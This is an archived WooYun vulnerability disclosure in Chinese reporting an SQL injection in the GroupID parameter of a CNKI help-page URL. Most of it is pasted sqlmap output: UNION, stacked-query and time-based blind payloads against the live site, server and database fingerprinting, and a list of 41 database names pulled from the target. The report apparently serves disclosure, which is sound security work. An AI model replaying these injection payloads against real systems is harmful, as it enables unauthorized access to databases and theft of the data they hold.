乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2013-06-11: 积极联系厂商并且等待厂商认领中,细节不对外公开 2013-07-26: 厂商已经主动忽略漏洞,细节向公众公开
中国知网某处存在sql注入漏洞
中国知网在留言页面有sql注入漏洞:http://help.cnki.net/Live800_1_2.aspx?GroupID=502&PageID=101007&Name=&CookieName=TTKN_OnLine_800手工试了下,GroupID处有问题直接sqlmap:
---Place: GETParameter: GroupID Type: UNION query Title: Generic UNION query (NULL) - 2 columns Payload: GroupID=-3505 UNION ALL SELECT NULL,CHAR(58)+CHAR(118)+CHAR(99)+CHAR(114)+CHAR(58)+CHAR(73)+CHAR(104)+CHAR(102)+CHAR(80)+CHAR(121)+CHAR(81)+CHAR(67)+CHAR(120)+CHAR(70)+CHAR(101)+CHAR(58)+CHAR(118)+CHAR(97)+CHAR(121)+CHAR(58)-- &PageID=101007&Name=&CookieName=TTKN_OnLine_800 Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: GroupID=502; WAITFOR DELAY '0:0:5'--&PageID=101007&Name=&CookieName=TTKN_OnLine_800 Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: GroupID=502 WAITFOR DELAY '0:0:5'--&PageID=101007&Name=&CookieName=TTKN_OnLine_800---[13:09:16] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windows 2008web application technology: ASP.NET, Microsoft IIS 7.5back-end DBMS: Microsoft SQL Server 2008[13:09:16] [INFO] fetching database names[13:09:16] [INFO] the SQL query used returns 41 entriesavailable databases [41]: [*] Agriculture[*] AgricultureLog[*] ALMCLog[*] AMI20[*] BMI20[*] callthink[*] Callthink_cdr[*] Callthink_crm[*] ChouJiang[*] CMI20[*] CMU20[*] DTR[*] EMI20[*] FAXDB[*] FMI15[*] HR[*] KaoQin[*] LMI20[*] master[*] MessageInfo[*] model[*] msdb[*] OA_00001[*] OA_0001[*] OAIISLog[*] PMI20[*] ReportServer[*] ReportServerTempDB[*] SMI10[*] talentel_cnf[*] Talentel_log[*] TELE3000[*] tempdb[*] TTKNOA[*] UFDATA[*] WFI20[*] WFMS[*] WMI10[*] XXFB[*] YC_SmartCard_jc[*] YC_SmartCard_jf[13:09:16] [INFO] fetched data logged to text files under './output/help.cnki.net'
过滤
未能联系到厂商或者厂商积极拒绝